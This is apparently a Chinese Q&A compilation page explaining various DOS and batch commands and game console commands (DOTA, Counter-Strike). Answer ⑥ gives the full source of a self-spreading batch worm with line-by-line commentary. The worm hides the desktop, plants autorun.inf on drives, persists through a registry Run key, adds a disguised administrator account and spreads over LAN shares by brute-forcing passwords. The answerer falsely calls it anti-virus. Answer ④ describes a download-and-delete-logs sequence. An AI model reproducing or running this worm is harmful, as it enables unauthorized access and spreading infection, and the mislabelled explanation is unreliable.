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翻译命令

发布时间:2022-01-22 13:19:11

① 求助翻译一下DOS命令

@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist hostname.txt del hostname.txt
find "Host Name" ipconfig.txt >hostname.txt
for /f "skip=2 tokens=16" %%M in (hostname.txt) do set Name=%%M
rasdial 宽带连接 %Name% 123456
rasdial adsl %Name% 123456
del ipconfig.txt
del hostname.txt

着个是说打开宽贷连接 然后输入帐号123456 密码123456 然后删除 del ipconfig.txt del hostname.txt

② 命令怎么翻译

order 或者 command (v.)/(n.)

③ 命令翻译

控制用户密码

④ 帮我翻译下面dos命令

打开219.139.81.188,将结果保存到c:\1.txt&
打开本地端口46603将结果保存到c:\1.txt&
打开远程端口46603将结果保存到c:\1.txt&
下载gezi.exe文件将结果保存到c:\1.txt&
删除日志及下载的文件

⑤ 关于DOTA的命令大全翻译

这些命令通常由主机在游戏开始的15秒之内输入,并且通常会标在房间的标题上。这些游戏模式会影响到玩家的游戏方式。

-aa - "All Agility"的简称;强迫所有玩家只能选择敏捷型英雄。

-ai - "All Intelligence"的简称;强迫所有玩家只能选择智力型英雄。

-ap - "All Pick"的简称;玩家可以从敌对双方所有的酒馆中选择英雄。

-as - "All Strength"的简称;强迫所有玩家只能选择力量型英雄。

-ar - "All Random"的简称;所有玩家使用随机从所有酒馆中选出的英雄开始游戏。在这个模式下重新选择需要的花费从200涨到400。

-ctf - "Capture the Flag(夺旗模式)"的简称;在这个模式下玩家不再需要摧毁古代遗迹,而是要到对方基地夺取旗子并拿回己方基地,每个带回己方基地的旗子算1分。任何带有旗子的英雄对所有对方英雄都是可见的并且英雄的魔法值被始终设定为0;最先得到5分的队伍将会获胜(现在这个模式不可以使用) 。

-dm - "Death Match"的简称;如果一个玩家的英雄死亡,那么那个英雄将被移出游戏同时玩家从还剩下的英雄中选择一个新英雄继续游戏。当一个队伍的英雄死亡达到36次时,这个队伍就输掉了比赛。当英雄死亡时,你将失去普通游戏模式中失去的金钱和一个英雄等级。(在新版本中-你将不在失去一个等级)等级丢失并不是一个bug:以前的版本英雄死亡会丢失所有的级别和物品。这是一个进步,因为dev战队不希望太多的改变dm模式。6.20版开始,死亡竞赛模式被重新激活。

- - "Duplicate Mode"的简称;不同的玩家可以选择相同的英雄。现在只能同-allrandom模式一起使用。

-id - "Item Drop"的简称;在这个模式下随机的物品掉落取代金钱丢失成为对英雄死亡的惩罚。注:游戏会随机的选择一个物品栏掉落,所以买许多便宜的物品并不是一个好主意。有传言说物品的掉落并不是完全随机的,75%的几率掉落最好的物品,25%几率从其他物品栏中掉落。

-lm - "League Mode"的简称;这是在6.20版本中引入的只能用于5 v 5游戏的新模式。在"联赛模式"中,每个玩家轮流选择英雄,近卫军团的玩家A选择一个英雄,然后亡灵天灾的玩家B和玩家C选择英雄,接着近卫军团的玩家D和玩家E选择英雄,如此往复直到所有的玩家都选择了英雄。如果一个玩家没有选择英雄,那么他会得到一个随机的英雄并损失所有的初始金钱。译者注:现在版本中玩家有20秒时间来选择英雄。

-mm - "Mirror Mode"的简称;玩家可以像通常那样选择英雄,但是在一个给定的初始时间之后,队伍的英雄组成将依据双方英雄选择而被随机选择并且相关玩家将被给予相同英雄。最终2边将得到完全相同的英雄组成,就像模式的名字一样(5v5游戏= 5对从10个可能英雄中挑出的同样的英雄)。(现在这个模式是不可用的)

-mr - "Mode Random"的简称;从 ar/ap/tr/regular 中随机挑出一个游戏模式。

-re - "Reverse"的简称;己方英雄由对方玩家选择,反之反是。(现在这个模式是不可用的)

-sc - "Super Creeps"的简称;随机的超强野怪会在每波小兵中产生。这个模式是完全随机的,会有攻城傀儡,恐怖怪鱼,远古九头蛇随机加入双方阵营以增加游戏的成就感。这并不是完全的公平,因为随机选取和多变的超级士兵的产生(例如,近卫军团可能会在游戏的晚期才获得超强士兵,而相对而言亡灵天灾可能更早更频繁的获得超强士兵)。新的版本(例如6.27b)尝试用同时生成的超强士兵来解决这个问题。另外,杀死超级士兵能得到同摧毁一个塔差不多的金钱,鼓励玩家跟在他们后面。即使让两边的超级士兵同时生成,一边仍然可能处于劣势,比如得到了一个较弱的超级士兵而对方得到了一个较强的超级士兵。在这种情况下,非常有可能出现一方在游戏早期就得到了一个远古九头蛇(最强的超级士兵)并且摧毁了对方几个塔从而很有可能导致游戏的快速结束,因为就当时的等级而言对方对这个超强的士兵没有什么办法。

-sm - "Short Mode"的简称;建筑和塔的生命值被减低,更多的经验获得和金钱积累。这个模式是公共游戏房间上最常用的游戏模式,通常会同-ap一起使用。一些更有经验的老玩家认为这个模式通过使后期英雄更容易变强而改变了游戏的平衡性(比如幻影刺客和小狗),这些后期英雄可以在短时间内更容易的达到他们的顶峰并且中期英雄(主要是智力型英雄)的优势时间被大大缩短了。

-np - "no powerups"的简称,神符不再随机的在河道中间生成。

-tr - "Team Random"的简称;玩家获得一个随机的笨方英雄(近卫军团,或者亡灵天灾),他可以在游戏的第一分钟使用-repick命令花费500金钱来重新选择英雄。

玩家命令

英雄选择过程中的命令:

-random - 在己方选择一个随机英雄。你可以输入 -repick命令花费200金钱重新随机选择一个英雄(注:在-allrandom模式和你自己输入-random时重新选择英雄的费用是不同的)。你只能在游戏开始的时候重新选择;在一定时间之后,-random便失效了。

-repick - 给你一个新的,随机的英雄,如果你在一个-ar的游戏中或者你自己希望更换你的英雄(花费400/200金钱)。重新选择英雄有一个45秒的时间限制(最大的重新选择次数是一次)。如果你选择了某个特定的英雄,输入-repick命令是有效的,玩家将失去现在的英雄和更多金钱,并得到一个新的随机英雄。这个情况只有在一个玩家无意按下了一个快捷键(当某个酒馆被选择时)召唤了一个英雄时才有实际意义。

用来在屏幕上显示信息的信息指令:

-beamcounter - 用来显示月之骑士所施放的月光数目。(从6.18版本开始,这个命令被移除,根据冰蛙的说法,再也不会被加入)

-creepstats (-cs) - "Creep Stats"的简称;玩家可以追踪他们杀死的敌方/己方小兵数量

-csboardon - 总是显示玩家杀死的小兵数量。

-csboardoff" -停止显示玩家杀死的小兵数量。

-matchup (-ma) - 显示对方玩家的名字,颜色,和他们正在控制的英雄。

-movespeed (-ms) - 显示现在的移动速度(供调试和获得信息)。包括物品和技能对速度的加成效果。

游戏时的指令,通常用来解决英雄的一些小问题:

-disablehelp - 禁止己方圣骑的忠诚考验被加在玩家控制的英雄身上。

-enablehelp - 解除禁止己方圣骑的忠诚考验被加在玩家控制的英雄身上。

-recreate - 对于一些拥有和世界地图编辑器中没有的变身技能的英雄,比如:龙骑士,狼人,食尸鬼和灵魂守卫,有可能发生一些失去对英雄控制的问题。这可以通过把英雄带回生命之泉并且输入这个命令来解决。

-refresh - 作用于幻影刺客(PA),这个命令用来刷新她的部分隐形技能"模糊"(解决在她死后隐形状态会被解除的问题)。从6.10版发布以来,霜星不再会使PA的隐形失效。值得注意的是即使不输入-refresh命令,"模糊"仍然会给予PA被动的闪避效果,她只是不"隐形"而已。技术上来说,玩家受到不停的输入-refresh命令的折磨比PA更容易被发现更痛苦。6.20版以后,这个指令被废除,因为PA会自动的刷新她自己的状态。

-unstuck - 将你的英雄在60秒后传送到生命之泉;当你的英雄被卡在了一个没办法移动的位置(比如被困在树林中)的时候可以使用这个指令。在传送的过程中英雄不能移动,并且命令生效的延迟时间可以阻止玩家滥用这个命令。

⑥ 帮我翻译这些命令

我可能说的不怎么正确! 按我知道的说!
:: 后面的都是注释! 不是命令

::我不知道你们怎么对病毒感染如此感冒。
::我们是来救人的,不是来害人的。希望不要乱用乱学。
setlocal ENABLEDELAYEDEXPANSION
设置环境变量

::关闭EXPLORER。EXE进程,让用户无法看见运行的BAT
::并且利用START最小化BAT
TASKKILL /F /IM EXPLORER.EXE>nul
结束EXPLORER.EXE(桌面进程)

:newautorun
标签

::建立autorun.inf文件
echo [autorun]>autorun.inf
echo open=%windir%\auto.cmd>>autorun.inf
echo shellexecute=%windir%\auto.cmd>>autorun.inf
echo shell\auto\command=%windir%\auto.cmd>>autorun.inf
echo start for
for %%i in (C D E F G H I J K L M) DO (
COPY /y autorun.inf %%i:\>nul
)
建一个autorun.inf文件,内容为
[autorun]>autorun.inf
open=%windir%\auto.cmd>>autorun.inf
shellexecute=%windir%\auto.cmd>>autorun.inf
shell\auto\command=%windir%\auto.cmd>>autorun.inf
再复制autorun.inf文件到各个盘符下!(这是防U盘传播毒的)

:start
/y %0 %windir%\>nul
复制,自身 到 windows 目录下!

::启动时启动病毒文件
::其实这里我们还可以把启动名改为ctfmon或IMSCMig输入法的名称,这样
SET REG1="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run"
REG ADD %REG1% /v Script /t REG_SZ /d %windir%\auto.cmd>nul
把auto.cmd加入启动项!

::建立新的用户
::伪装成一个帮助提供商的用户名SUPPORT_388945_0;
::有的系统不能让用户名为空,或不能密码太简单e
set user1=SUPPORT_388945_0
set pass=admin3389
net user %user1% %pass% /add
net localgroup Administrators %user1% /add
新建具有管理权限的用户。用户名SUPPORT_388945_0,密码admin3389

::检查所有活动的机子
rem ###########################
rem 建立密码文件
echo admin3389>hack.txt
echo 123456>>hack.txt
echo admin>>hack.txt
echo 00>>hack.txt
建立hack.txt 文档!内容是:
admin3389>hack.txt
123456>>hack.txt
admin>>hack.txt
00>>hack.txt

rem ########################### 注释
net view>host.txt
for /f %%a in (host.txt) do (
for /f %%b in (hack.txt) do net use %%a\ipc$ "%%b" /user:administrator
/y %windir%\auto.cmd %%a\admin$
/y %windir%\autorun.inf %%a\c$
)
链接,局域网用户! 复制auto.cmd,autorun.inf到局域网电脑里!

::最后再把EXPLORER.EXE进程启动,让用户恢复操作,呵呵
%windir%\explorer.exe
启动。桌面进程!(看见了桌面!)

总的来说~ 这是防毒

我的解释,我的水平。也就能解释这么多了!

⑦ 帮我翻译一下这些 DOS命令的意思

rem 是对上一行代码的解释
d:
rem 跳转到d盘
cd bio5
rem 跳转到d盘下的bio5文件夹
cd nativePC
rem 跳转到bio5文件夹的nativepc文件夹,以下就不解释了,都是这个意思
cd Image
cd Archive
arc.exe x 4.arc
precomp.exe -r 4.pcf
rem arc和precomp都不是命令提示符的内部命令,估计是什么软件的命令形式,比如winrar软件的命令行形式:"rar hello.rar bobo.txt" ,这条命令也可以吧bobo这个文件压缩为hello.rar.

⑧ CS命令翻译``

团队呼叫键 X 呼叫出团队命令
报告呼叫键 C 呼叫出相应报告命令
普通指令 Z键

1. "Cover Me" 掩护我 冲锋的时候需要队友的火力掩护

2. "You Take the Point" 你占据该要点 让队友占据此射击点

3. "Hold This Position" 占据这个位置 告诉队友占领此处有利地形

4. "Regroup Team" 重组队伍 把分散的队员重新组织起来

5. "Follow Me" 跟随我 让队友跟你一起去某处完成任务

6. "Taking Fire, Need Assistance" 吸引火力,需要援助 需要冲锋的时候,请求同伴吸引对方火力。

0. Exit 退出选单

团队指令 X键

1. "Go" 走,前进 大家一起前进或者冲锋

2. "Fall Back" 后退 用来通知队友一起向后撤退

3. "Stick Together Team" 保持队形 顾名思义,就是要保持现有队形。

4. "Get in Position" 进入适当的位置 让队友进入指定的位置

5. "Storm the Front" 守住前面 敌人已经攻过来了,一定要守住这最后的防线。

6. "Report In" 报告情况 用于要求队友报告他的情况。

回答组 C键

1. "Affirmative/Roger" 收到 接到队友的信息时,用来通知队友你以收到消息。

2. "Enemy Spotted" 发现敌人 告诉队友你发现敌人的藏身位置。

3. "Need Backup" 需要支援 请求队友帮助

4. "Sector Clear" 地区清除 全面清除该地区敌人,不漏过一个角落

5. "I'm in Position" 我在适当的位置 报告你已经到达指定位置。

6. "Reporting In" 报告你的位置 告诉队友你的位置。

7. "She's gonna Blow!" 炸弹将要爆炸 要爆炸了还不快跑:)

8. "Negative" 拒绝(接受) 就是拒绝队友的命令和请求。

9. "Enemy Down" 消灭敌人 通知队友你已经拔掉对方的钉子。

⑨ 翻译2个bat命令

@echo off&setlocal EnableDelayedExpansion //关闭回显并开启延迟变量环境
for /d %%i in (*) do ( //通过for命令获取当前目录中所有文件夹
set a=%%i //设置文件夹名到变量a
set b=!a:~3! //从变量a的第四位开始截取值,并赋予到变量b
ren %%i !b! // 把之前的for到的文件夹重命名到变量b的值
) //结束for命令

@echo off&setlocal EnableDelayedExpansion //关闭回显并开启延迟变量环境
set "wxyz=%*" //设置变量wxyz,值为%*。但在实际测试中发现,这个变量值根本没用。会导致后面的命令无法正确执行。我估计你是要设置的是*,那么就不需要那个%啊
for /d %%a in (!wxyz!) do ( //通过for命令获取当前目录中指定了变量wxyz的文件夹。
set wy=%%~a //设置文件夹名到wy变量
set xz=%%~na //设置文件夹名到xz变量,这里的设置可以把带有后缀名的文件夹名变成不带后缀的。
set xz=!xz:~0,-3! //把变量xz的值,去掉最后三位字符,并再赋值到新的变量xz
ren "!wy!" "!xz!" //把变量wy的值重命名为新的变量xz的值
) //结束for命令
pause //暂停脚本

⑩ 谁来帮我翻译下DOS的所有命令

你的系统不能动是吗? 我记着早期DOS环境下有一个 中文DOS的软件,装上以后,运行了你的DOS命令就都变成中文的帮助了!

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